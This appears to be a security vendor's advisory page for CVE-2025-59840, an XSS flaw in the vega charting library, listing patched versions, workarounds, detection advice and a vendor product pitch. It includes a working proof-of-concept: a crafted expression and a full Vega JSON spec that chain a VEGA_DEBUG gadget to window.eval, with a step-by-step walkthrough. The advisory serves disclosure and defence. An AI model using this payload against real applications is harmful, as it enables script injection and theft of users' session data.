CVE-2025-59840 — vega
HIGHCVE-2025-59840 is a high-severity (CVSS 8.1) Cross-site Scripting (XSS) vulnerability in vega. A fix is available for vega — see the affected versions and patch details below.
Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-59840.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-59840 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
veganpmvega-expressionnpmvega-interpreternpmDescription
Impact
Applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.
- Use
vegain an application that attachesvegalibrary and avega.Viewinstance similar to the Vega Editor to the globalwindow - Allow user-defined Vega
JSONdefinitions (vs JSON that was is only provided through source code)
Patches
- If using latest Vega line (6.x)
vega6.2.0/vega-expression6.1.0/vega-interpreter2.2.1(if using AST evaluator mode)
- If using Vega in a non-ESM environment
- (
vega-expression5.2.1/1.2.1(if using AST evaluator mode)
- (
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading
- Do not attach
vegaView instances to global variables, as Vega editor used to do here - Do not attach
vegato the global window as the editor used to do here
These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.
POC Summary
Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that overrides its toString method with a function that results in calling this.foo(this.bar), DOM XSS can be achieved.
In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.
({
toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on,
eventName: event.view.console.log,
_handlers: {
undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
},
_handlerIndex: event.view.eval
})+1
POC Details
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"width": 350,
"height": 350,
"autosize": "none",
"description": "Toggle Button",
"signals": [
{
"name": "toggle",
"value": true,
"on": [
{
"events": {"type": "click", "markname": "circle"},
"update": "toggle ? false : true"
}
]
},
{
"name": "addFilter",
"on": [
{
"events": {"type": "mousemove", "source": "window"},
"update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"
}
]
}
]
}
This payload creates a scenario where whenever the mouse is moved, the toString function of the provided object is implicitly called when trying to resolve adding it with 1. The toString function has been overridden to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:
on(a, o) {
const u = this.eventName(a)
, d = this._handlers;
if (this._handlerIndex(d[u], a, o) < 0) {
....
}
....
}
- Set
uto the result of callingthis.eventNamewith undefined- For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
- Sets
dtothis._handlers- For our object, we have this defined to be used later
- Calls
this._handlerIndexwith the result ofuindexed into thedobject as the first argument, and undefined as the second two.- For our object,
_handlerIndexis set to window.eval, and when indexing undefined into the_handlers, a string to be evald containing the XSS payload is returned.
- For our object,
This results in XSS by using a globally scoped gadget to get full blown eval.
PoC Link
Navigate to vega editor, move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved.
Future investigation
In cases where VEGA_DEBUG is not enabled, there theoreticallycould be other gadgets on the global scope that allow for similar behavior. In cases where AST evaluator is used and there are blocks against getting references to eval, in theory there could be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. $.globalEval). As of this writing, no such globally scoped gadgets have been found.
Impact
This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger.
An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vega | all versions | 6.2.0npm install vega@6.2.0 |
| 📦npm | vega-expression | ≥ 6.0.0&&< 6.1.0 | 6.1.0npm install vega-expression@6.1.0 |
| 📦npm | vega-interpreter | ≥ 2.0.0&&< 2.2.1 | 2.2.1npm install vega-interpreter@2.2.1 |
| 📦npm | vega-interpreter | all versions | 1.2.1npm install vega-interpreter@1.2.1 |
| 📦npm | vega-expression | all versions | 5.2.1npm install vega-expression@5.2.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vega, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vega to 6.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-59840 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-59840 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-59840. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-59840 in your dependencies?
O3 Security finds CVE-2025-59840 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.